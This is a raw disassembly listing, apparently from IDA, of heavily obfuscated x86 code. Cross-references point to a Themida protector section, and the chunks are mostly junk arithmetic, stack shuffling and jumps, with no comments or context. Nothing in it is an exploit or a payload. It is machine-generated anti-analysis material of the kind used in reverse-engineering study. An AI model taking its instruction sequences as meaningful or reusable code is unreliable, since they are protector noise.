; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BD64: ; CODE XREF: sub_56755A-74BAj
xor edx, [esp+4+var_4]
jmp loc_55E6E7
; ---------------------------------------------------------------------------
loc_56BD6C: ; CODE XREF: sub_56755A+1785j
xor ecx, [esp+1Ch+var_1C]
pop esp
mov ebx, [esp+18h+var_18]
add esp, 4
pop dword ptr [edi+24h]
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56BD7C proc near ; CODE XREF: sub_56755A+4B23j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebx
push [esp+4+var_4]
pop eax
push edx
mov edx, esp
jmp sub_55CD7B
sub_56BD7C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_56BD8E: ; CODE XREF: sub_566504-6270j
mov edx, ecx
pop ecx
pop edi
add edx, 428C63B8h
add edx, 300B6633h
add edx, eax
sub edx, 300B6633h
push ebx
mov ebx, 67AB0B75h
jmp loc_565E04
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E54A
loc_56BDB1: ; CODE XREF: sub_55E54A-2A43j
mov [esp+6+var_8+2], ebx
sub esp, 4
push esp
pop [esp+0Eh+var_10+2]
jmp loc_55CFED
; END OF FUNCTION CHUNK FOR sub_55E54A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BDC0: ; CODE XREF: sub_56755A-984Ej
add eax, 4
add eax, 4
jmp loc_565A54
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56BDCD: ; CODE XREF: Themida_:00569DDBj
sub edi, 9BD4427Ch
xor ebp, edi
pop edi
mov ebx, ebp
pop ebp
xor esi, ebx
jmp loc_56E6C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A500
loc_56BDE0: ; CODE XREF: sub_56A500+6j
mov [esp+4+var_4], esi
push 6837h
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop esi
add esi, 4
add esi, 4
xchg esi, [esp+4+var_4]
mov esp, [esp+4+var_4]
sub [edi+24h], edx
mov edx, [esp+0]
push edi
mov edi, esp
sub esp, 4
mov [esp+8+var_8], ebx
mov ebx, 4
add edi, ebx
jmp loc_56ABFF
; END OF FUNCTION CHUNK FOR sub_56A500
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E99C
loc_56BE1D: ; CODE XREF: sub_55E99C+1A5Fj
neg ebp
add ebp, 7DC541B9h
push edi
mov edi, 33E203F0h
jmp loc_5687D5
; END OF FUNCTION CHUNK FOR sub_55E99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BE30: ; CODE XREF: sub_56755A-5DDFj
add ebx, 4
xchg ebx, [esp+34h+var_34]
pop esp
push edx
push 4
jmp loc_5631B9
; ---------------------------------------------------------------------------
loc_56BE42: ; CODE XREF: sub_56755A-90D6j
sub eax, 65A5406Bh
sub eax, ebx
jmp loc_5639F2
; ---------------------------------------------------------------------------
loc_56BE4E: ; CODE XREF: sub_56755A-2209j
add esp, 4
jmp loc_5685F6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56BE59: ; CODE XREF: Themida_:005624BCj
mov [esp], esi
mov esi, 1CA200BEh
push edi
mov edi, 520915C2h
inc edi
add edi, 115740B8h
xor esi, edi
jmp loc_569301
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BE75: ; CODE XREF: sub_56755A+89DCj
pop esp
jmp sub_55FDDC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_56BE7B: ; CODE XREF: sub_56E55E+13F5j
push [esp+8+var_8]
mov edx, [esp+0Ch+var_C]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+10h+var_10]
jmp loc_55F509
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
loc_56BE95: ; CODE XREF: Themida_:0055BD38j
pop esp
mov [esp], ecx
mov ch, 5
add ch, 52h
add ch, 3Eh
add ch, 0AEh
dec ch
jmp loc_561CC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5664A8
loc_56BEAB: ; CODE XREF: sub_5664A8+9j
sub dword ptr [esp+4], 76EC3634h
sub dword ptr [esp+4], 1E3F755Fh
add [esp+4], ebp
add dword ptr [esp+4], 1E3F755Fh
jmp loc_55EA6A
; END OF FUNCTION CHUNK FOR sub_5664A8
; ---------------------------------------------------------------------------
loc_56BECC: ; CODE XREF: Themida_:005633FEj
shr ebp, 8
not ebp
sub ebp, 0BEB265AAh
add esi, 0F9921FFh
add esi, ebp
sub esi, 0F9921FFh
mov ebp, [esp]
add esp, 4
push edi
mov edi, 4C764E95h
jmp loc_566FC3
; ---------------------------------------------------------------------------
loc_56BEF9: ; CODE XREF: Themida_:0055EDA0j
push edi
mov edi, 4
add ebx, edi
pop edi
xor ebx, [esp]
xor [esp], ebx
jmp loc_56E9CF
; ---------------------------------------------------------------------------
loc_56BF0D: ; CODE XREF: Themida_:0055E1EFj
xchg ebp, [esp]
pop esp
mov [esp], ecx
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ecx, [esp]
push edi
mov edi, esp
push ecx
mov ecx, 25D7372Bh
not ecx
and ecx, 4336130Eh
xor ecx, 42200000h
add edi, ecx
pop ecx
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push ebp
push 1157h
jmp loc_5629F7
; ---------------------------------------------------------------------------
loc_56BF59: ; CODE XREF: Themida_:0056DD48j
mul ecx
jmp loc_567B37
; ---------------------------------------------------------------------------
loc_56BF60: ; CODE XREF: Themida_:0055CAC0j
pop ebx
xor dh, ah
pop eax
sub dh, 5Bh
push edx
mov edx, esp
add edx, 4
jmp loc_563A39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569496
loc_56BF75: ; CODE XREF: sub_569496-4567j
pop ecx
shr cl, 1
add cl, 67h
jmp loc_56C4E9
; END OF FUNCTION CHUNK FOR sub_569496
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DD27
loc_56BF80: ; CODE XREF: sub_55DD27+4029j
mov ebp, [esp+0Ch+var_C]
jmp sub_56D83A
; END OF FUNCTION CHUNK FOR sub_55DD27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BF88: ; CODE XREF: sub_56755A+F6Cj
sub edx, 69DA4526h
neg edx
xor edx, 5F041A20h
sub edx, 45AD3F09h
jmp loc_55DD59
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56BFA1 proc near ; CODE XREF: sub_56885A+2209j
push ebp
jmp sub_565C92
sub_56BFA1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_56BFA7: ; CODE XREF: sub_565269+4CFEj
pop esi
push esi
mov esi, esp
jmp loc_56BBB2
; END OF FUNCTION CHUNK FOR sub_565269
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56BFB0: ; CODE XREF: sub_56755A-3CE6j
shl al, 7
dec al
add al, 1Eh
or cl, al
mov eax, [esp+1Eh+var_20+2]
add esp, 4
push 11FFh
mov [esp+1Eh+var_20+2], ebx
mov bl, 0B8h
jmp loc_55C412
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_56BFD1: ; CODE XREF: sub_560B67+1452j
or ebx, 2E20318Eh
neg ebx
neg ebx
sub ebx, 3EF179DAh
add ebp, ebx
pop ebx
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop [esp+4+var_4]
mov esp, [esp+0]
shr eax, 0Eh
jmp loc_565B9B
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
loc_56BFFB: ; CODE XREF: Themida_:005666BDj
pop cx
jmp loc_56A780
; ---------------------------------------------------------------------------
loc_56C002: ; CODE XREF: Themida_:00565F2Cj
mov [esp], esi
push 4
pop esi
mov ebx, esi
jmp loc_5601B8
; ---------------------------------------------------------------------------
loc_56C012: ; CODE XREF: Themida_:0056932Dj
mov eax, 330826CAh
or eax, 2251797Bh
dec eax
not eax
jmp loc_56435C
; =============== S U B R O U T I N E =======================================
sub_56C024 proc near ; CODE XREF: sub_56755A-16D3j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005626AA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056DB6E SIZE 00000025 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_5626AA
sub_56C024 endp
; ---------------------------------------------------------------------------
loc_56C032: ; CODE XREF: Themida_:0056BCA1j
push ecx
push esp
pop ecx
push ebx
mov ebx, 4EBF5A92h
shl ebx, 2
shr ebx, 3
jmp loc_56E2B8
; ---------------------------------------------------------------------------
loc_56C046: ; CODE XREF: Themida_:0056E87Bj
sub al, bl
jmp loc_566196
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F185
loc_56C04D: ; CODE XREF: sub_55F185+AFF6j
dec esi
add esi, 820BDF8Dh
xor eax, esi
mov esi, [esp+4+var_4]
jmp loc_567E86
; END OF FUNCTION CHUNK FOR sub_55F185
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C05E: ; CODE XREF: sub_56755A+129Ej
push eax
mov eax, 97C41ABh
sub ecx, eax
pop eax
sub ebx, ecx
pop ecx
mov eax, ebx
pop ebx
jmp loc_566877
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_56C072: ; CODE XREF: sub_56971C-5484j
mov esi, [esp+10h+var_10]
jmp loc_563A6F
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C07A: ; CODE XREF: sub_56755A+1D13j
pop edi
or eax, eax
jz sub_56BD7C
push dword ptr [edi+1Ch]
push [esp+0Ch+var_C]
pop ecx
sub esp, 4
mov [esp+10h+var_10], edi
jmp loc_56D63E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C095: ; CODE XREF: Themida_:0055ECEFj
add ebx, ecx
add ebx, 228B4663h
push dword ptr [esp]
pop ecx
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push edi
jmp loc_55EA34
; ---------------------------------------------------------------------------
loc_56C0BA: ; CODE XREF: Themida_:0055ED6Cj
mov ecx, 17CD4256h
xor edi, ecx
pop ecx
push edi
push ebp
mov ebp, 124E2919h
xor [esp+4], ebp
pop ebp
jmp loc_56A63D
; ---------------------------------------------------------------------------
loc_56C0D3: ; CODE XREF: Themida_:005667BCj
pop dword ptr [esp]
add dword ptr [esp], 4
pop esi
add esi, 4
sub esi, 4
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esi
jmp loc_5641E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C101: ; CODE XREF: sub_56755A+561Ej
pop ebp
sub ebx, 0FBB50DD6h
sub eax, ebx
jmp loc_56216C
; ---------------------------------------------------------------------------
loc_56C10F: ; CODE XREF: sub_56755A+C8Cj
push cx
pushf
jmp loc_570663
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643BC
loc_56C117: ; CODE XREF: sub_5643BC+9746j
xor edi, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
jmp sub_564603
; END OF FUNCTION CHUNK FOR sub_5643BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C122: ; CODE XREF: sub_56755A-46C8j
mov [esp+10h+var_10], ebx
push ebp
mov ebp, 53BE148Ch
mov ebx, 186E11B6h
add ebx, ebp
jmp loc_56595D
; ---------------------------------------------------------------------------
loc_56C137: ; CODE XREF: sub_56755A+384Ej
sub [esp+12h+var_14+2], 7B242592h
pop edi
add edi, 7B242592h
jmp loc_56FE5F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56542E
loc_56C14A: ; CODE XREF: sub_56542E+8407j
mov esi, [esp+4+var_4]
push eax
jmp loc_56EF58
; END OF FUNCTION CHUNK FOR sub_56542E
; ---------------------------------------------------------------------------
loc_56C153: ; CODE XREF: Themida_:0056916Cj
add ebp, 4
push edi
jmp loc_56DDAE
; ---------------------------------------------------------------------------
loc_56C15F: ; CODE XREF: Themida_:0056BAB8j
mov ebx, [esp]
add esp, 4
push edi
not dword ptr [esp]
pop edi
push eax
mov eax, 7CC8267Ah
jmp loc_56E806
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C175: ; CODE XREF: sub_56755A+4077j
mov [esp-4+arg_0], eax
push [esp-4+arg_4]
pop eax
pop [esp-4+arg_0]
jmp loc_56CA22
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C185: ; CODE XREF: Themida_:0055D511j
push ebx
push 4629h
mov [esp], edx
mov dh, 24h
sub dh, 31h
push ebx
mov bl, 8
and bl, 1Ch
sub bl, 7Dh
jmp loc_564DDF
; ---------------------------------------------------------------------------
loc_56C1A1: ; CODE XREF: Themida_:005664CCj
add al, 0DBh
add al, dl
sub al, 0DBh
jmp loc_55E3A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673DF
loc_56C1AC: ; CODE XREF: sub_5673DF+9j
add esp, 4
jmp loc_55E7CE
; END OF FUNCTION CHUNK FOR sub_5673DF
; ---------------------------------------------------------------------------
loc_56C1B4: ; CODE XREF: Themida_:0056B01Cj
push 46D0h
mov [esp], ebp
sub esp, 4
mov [esp], esi
mov esi, 6FB74DEEh
sub dword ptr [esp+4], 158F6BC8h
sub [esp+4], esi
add dword ptr [esp+4], 158F6BC8h
pop esi
pop edx
add edx, 6FB74DEEh
mov ebp, [esp]
jmp loc_56E132
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C1EB: ; CODE XREF: sub_56755A-394Aj
xor eax, ecx
sub esp, 4
mov [esp+10h+var_10], eax
push 6C80h
mov [esp+14h+var_14], ebx
push [esp+14h+var_14]
pop eax
sub esp, 4
mov [esp+18h+var_18], esi
mov esi, esp
jmp loc_56BBFE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C20C: ; CODE XREF: Themida_:00561B09j
add esi, eax
pop eax
push ebx
mov ebx, 2
add esi, ebx
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_56E9EB
; ---------------------------------------------------------------------------
loc_56C228: ; CODE XREF: Themida_:0056A282j
add esp, 4
jmp loc_57075E
; ---------------------------------------------------------------------------
loc_56C230: ; CODE XREF: Themida_:00569528j
add ecx, 4
jmp loc_560495
; ---------------------------------------------------------------------------
loc_56C238: ; CODE XREF: Themida_:0056A8CCj
pop ebp
push eax
mov eax, 3B427B31h
and esi, eax
pop eax
xor esi, 4419172Bh
push ecx
mov ecx, 727833A0h
and esi, ecx
pop ecx
sub esi, 5258221Ch
sub esp, 4
mov [esp], esi
mov esi, 74FA6CA3h
sub edi, esi
mov esi, [esp]
add esp, 4
sub edi, esi
add edi, 74FA6CA3h
pop esi
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], eax
jmp loc_56A897
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C293: ; CODE XREF: sub_56755A+2443j
pop eax
inc ebx
dec ebx
jmp loc_56363B
; ---------------------------------------------------------------------------
loc_56C29B: ; CODE XREF: sub_56755A+83B3j
pop edx
sub eax, 8F369F50h
sub ebp, eax
pop eax
xor esi, ebp
pop ebp
inc esi
push ebp
mov ebp, 0FFFFFFFFh
sub esi, 1B8759F5h
sub esi, ebp
add esi, 1B8759F5h
pop ebp
jmp loc_5606DC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C2C2: ; CODE XREF: Themida_:0056A31Cj
add edi, 4
sub esp, 4
mov [esp], eax
mov eax, 48A23B02h
jmp loc_55F1A1
; ---------------------------------------------------------------------------
loc_56C2DB: ; CODE XREF: Themida_:0056F0DCj
sub ebx, eax
sub ebx, 422E66BBh
jmp loc_56A341
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C2E8: ; CODE XREF: sub_56755A+236Fj
mov edx, esp
add edx, 4
sub edx, 4
xor edx, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], edx
jmp loc_566EEF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C2FE: ; CODE XREF: Themida_:00569C87j
pop ebx
xor ebx, eax
pop eax
mov ecx, ebx
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_561BD9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56C315: ; CODE XREF: sub_56E89A-11687j
add esi, ecx
push ebp
mov ebp, 490754E7h
add esi, ebp
jmp loc_5659E2
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_56C324: ; CODE XREF: Themida_:00569EDBj
push edx
push 282C1DFCh
mov edx, [esp]
add esp, 4
push 639Eh
mov [esp], esi
mov esi, 5CC32D3Ah
xchg edi, esi
sub edi, 1
xchg edi, esi
not esi
sub esi, 1
or esi, 4C1E4914h
xor esi, 44CC7112h
sub edx, esi
mov esi, [esp]
add esp, 4
xor ebx, edx
mov edx, [esp]
push 16AFh
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push 578h
mov [esp], eax
mov eax, 12AD345Dh
neg eax
shl eax, 7
push edx
mov edx, 25D951EDh
add eax, edx
pop edx
and eax, 59091ECCh
push edi
mov edi, 65970686h
push edx
mov edx, 451759E5h
jmp loc_568794
; ---------------------------------------------------------------------------
loc_56C3B3: ; CODE XREF: Themida_:0056942Cj
push 7095h
mov [esp], esp
push ebp
mov ebp, 4
sub dword ptr [esp+4], 205B3422h
add [esp+4], ebp
sub esp, 4
mov [esp], esi
push ebx
push 171770A8h
pop ebx
push ebp
jmp loc_5624AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C3E3: ; CODE XREF: sub_56755A-2C9Aj
pop ebp
jmp loc_561CA7
; ---------------------------------------------------------------------------
loc_56C3E9: ; CODE XREF: sub_56755A-BF79j
add esp, 4
jmp loc_55CBF0
; ---------------------------------------------------------------------------
loc_56C3F1: ; CODE XREF: sub_56755A+D88j
pop eax
pop [esp+18h+var_18]
pop esp
xor ebx, eax
push dword ptr [eax]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56C3FF: ; CODE XREF: sub_56755A-9A01j
add ecx, 3AE052F4h
sub ecx, edx
sub ecx, 3AE052F4h
pop edx
push 2E15h
mov [esp+2Ch+var_2C], ebx
mov ebx, 5C2C4E9Ah
sub ebx, 986D6C96h
xor ecx, ebx
push [esp+2Ch+var_2C]
pop ebx
add esp, 4
push edx
mov edx, ecx
mov esi, edx
mov edx, [esp+2Ch+var_2C]
add esp, 4
push [esp+28h+var_28]
pop ecx
jmp loc_56F9E1
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C441: ; CODE XREF: Themida_:0055E5B8j
add eax, ebx
add eax, 73C919E8h
sub eax, 631C094Eh
push edi
mov edi, 693F3618h
shl edi, 6
sub esp, 4
mov [esp], edi
not dword ptr [esp]
mov edi, [esp]
add esp, 4
sub edi, 40671EA8h
jmp loc_55CA68
; ---------------------------------------------------------------------------
loc_56C473: ; CODE XREF: Themida_:005673DAj
neg esi
sub esi, 0C6C9C4D9h
sub edx, esi
mov esi, [esp]
jmp loc_56710B
; ---------------------------------------------------------------------------
loc_56C485: ; CODE XREF: Themida_:0056A77Bj
add esp, 4
pop dword ptr [esp]
pop esp
push 2C81h
mov [esp], ebx
push 7FE9h
mov [esp], ebp
push ebx
mov ebx, 499202E8h
and ebx, 18E4E63h
push esi
mov esi, 6AE1155Fh
add esi, 57EB36F5h
push edx
mov edx, 6340547Ch
sub edx, 422F1FC6h
not edx
and edx, 6E7B28F9h
sub edx, 2B4DFE90h
and esi, edx
jmp loc_569B34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C4D8: ; CODE XREF: sub_56755A+8C09j
add eax, 4
add eax, 4
xchg eax, [esp+28h+var_28]
pop esp
jmp loc_563F00
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569496
loc_56C4E9: ; CODE XREF: sub_569496+2AE5j
neg cl
jmp sub_562C5D
; END OF FUNCTION CHUNK FOR sub_569496
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C4F0: ; CODE XREF: sub_56755A+4FA9j
pop ebx
mov esi, edi
push [esp+20h+var_20]
jmp loc_564D7D
; ---------------------------------------------------------------------------
loc_56C4FB: ; CODE XREF: sub_56755A-3733j
add ebx, 0A9B7C835h
xor edi, ebx
jmp loc_56C4F0
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56C508 proc near ; CODE XREF: sub_56C024+1B6Aj
push ebx
jmp loc_5675C0
sub_56C508 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C50E: ; CODE XREF: sub_56755A+58Dj
xchg edi, [esp+8+var_8]
jmp loc_56977A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C516: ; CODE XREF: Themida_:00566BA3j
mov ebx, [esp]
add esp, 4
push 4C18h
jmp loc_56422D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_56C526: ; CODE XREF: sub_55DA88+12201j
shr eax, 2
add eax, 1054DA44h
mov ebx, eax
pop eax
sub eax, ebx
jmp loc_5646D0
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C538: ; CODE XREF: sub_56755A-5501j
add edi, 242799EBh
and eax, edi
pop edi
push edx
jmp loc_56D1AF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5636A9
loc_56C547: ; CODE XREF: sub_5636A9+1j
push eax
jmp loc_568E63
; END OF FUNCTION CHUNK FOR sub_5636A9
; ---------------------------------------------------------------------------
loc_56C54D: ; CODE XREF: Themida_:0056B83Cj
push ecx
mov ecx, 66197501h
xor ecx, 66197505h
add dword ptr [esp+4], 773C0AEDh
add [esp+4], ecx
sub dword ptr [esp+4], 773C0AEDh
pop ecx
mov eax, [esp]
add esp, 4
add eax, 4
jmp loc_55E0DB
; ---------------------------------------------------------------------------
loc_56C581: ; CODE XREF: Themida_:0055C85Fj
shl ecx, 5
inc ecx
jmp loc_567299
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C58A: ; CODE XREF: sub_56755A-6CC3j
mov esp, [esp+1Ah+var_1C+2]
imul cl
movzx cx, ah
jmp loc_567261
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
sub esp, 4
mov [esp], ebx
push ecx
mov ecx, 0FB9038Bh
dec ecx
and ecx, 6518219Fh
shr ecx, 4
xor ecx, 51E46520h
push 7183h
mov [esp], ebx
mov ebx, 30D70C46h
xor ecx, ebx
pop ebx
push ebx
mov ebx, 603A6EB8h
shl ebx, 2
not ebx
sub esp, 4
mov [esp], edx
mov edx, 5F84F3Ah
shl edx, 7
jmp loc_56B74E
; ---------------------------------------------------------------------------
loc_56C5E8: ; CODE XREF: Themida_:005654B4j
push esp
push dword ptr [esp]
jmp loc_55F91F
; ---------------------------------------------------------------------------
loc_56C5F1: ; CODE XREF: Themida_:00570336j
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
jmp loc_56896B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C602: ; CODE XREF: sub_56755A+7FC2j
shr ecx, 6
push esi
mov esi, 3C6F2C4Bh
not esi
add esi, 63B93A26h
or esi, 33131C3h
sub esi, 0F9544B3h
add ecx, esi
pop esi
jmp loc_564900
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C627: ; CODE XREF: Themida_:0056F319j
dec ecx
push ebp
mov ebp, 6B8F1DA6h
jmp loc_56341C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C633: ; CODE XREF: sub_56755A+8D4Bj
sub ecx, ebp
mov ebp, [esp+1Ah+var_1C+2]
add esp, 4
jmp loc_563C6E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B774
loc_56C643: ; CODE XREF: sub_56B774+205Dj
pop ecx
sub esi, eax
pop eax
jmp loc_566E3C
; END OF FUNCTION CHUNK FOR sub_56B774
; =============== S U B R O U T I N E =======================================
sub_56C64C proc near ; CODE XREF: sub_560C97+DD0j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055BAB8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056D0A7 SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], edx
mov dh, 0D4h
sub dh, 9Ah
jmp loc_56D0A7
sub_56C64C endp
; ---------------------------------------------------------------------------
loc_56C65F: ; CODE XREF: Themida_:0055F45Fj
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 74B85F90h
jmp loc_56F07D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B5E8
loc_56C672: ; CODE XREF: sub_56B5E8+8j
mov eax, 487C079Ah
and edi, eax
pop eax
xchg ecx, edi
jmp loc_55FF03
; END OF FUNCTION CHUNK FOR sub_56B5E8
; ---------------------------------------------------------------------------
loc_56C681: ; CODE XREF: Themida_:0056F233j
push esi
mov esi, 4
add ebp, esi
pop esi
xor ebp, [esp]
xor [esp], ebp
jmp loc_56AF5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C695: ; CODE XREF: sub_56755A+3C6Cj
sub edx, 965075Ch
mov ebx, [esp+0Eh+var_10+2]
add esp, 4
push esi
mov esi, 2
jmp loc_570168
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56C6AF: ; CODE XREF: sub_56E89A-B55Bj
push eax
mov eax, 0E8D9C2E2h
sub edx, 1D924EDBh
add edx, eax
jmp loc_562D9F
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C6C2: ; CODE XREF: sub_56755A+44D0j
mov [esp+4+var_4], ebx
push ecx
push 16C1h
mov [esp+0Ch+var_C], edi
mov edi, 71090D58h
mov ecx, edi
jmp loc_56FD63
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C6DA: ; CODE XREF: Themida_:0055D301j
sub eax, 21D214F8h
jmp loc_56FEF9
; ---------------------------------------------------------------------------
loc_56C6E4: ; CODE XREF: Themida_:005614EDj
pop ebp
push 448Bh
mov [esp], esi
push edx
mov edx, 77C30AD5h
mov esi, 119A0A09h
xor esi, edx
pop edx
sub esi, 96FC1583h
sub ebp, 5AC04FAEh
add ebp, esi
push eax
mov eax, 5AC04FAEh
jmp loc_560923
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AA40
loc_56C714: ; CODE XREF: sub_56AA40+35A6j
push edi
mov edi, 24h
mov ebx, edi
pop edi
push ecx
mov ecx, 30C86E6Dh
sub ecx, 1F283619h
add ebx, 7AA02C6Eh
add ebx, ecx
jmp loc_56411B
; END OF FUNCTION CHUNK FOR sub_56AA40
; ---------------------------------------------------------------------------
loc_56C736: ; CODE XREF: Themida_:005648F1j
pop ecx
push ebx
jmp loc_5681FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568470
loc_56C73D: ; CODE XREF: sub_568470+FD5j
add [esp-24h+arg_24], esi
push ebp
jmp loc_568CF5
; END OF FUNCTION CHUNK FOR sub_568470
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_56C747: ; CODE XREF: sub_56F653-F457j
mov bh, 30h
jmp loc_5693A5
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C74E: ; CODE XREF: sub_56755A+1664j
pop esi
pop esi
push 304Dh
mov [esp+1Ch+var_1C], ebx
push 1A691A8Bh
pop ebx
jmp loc_560313
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
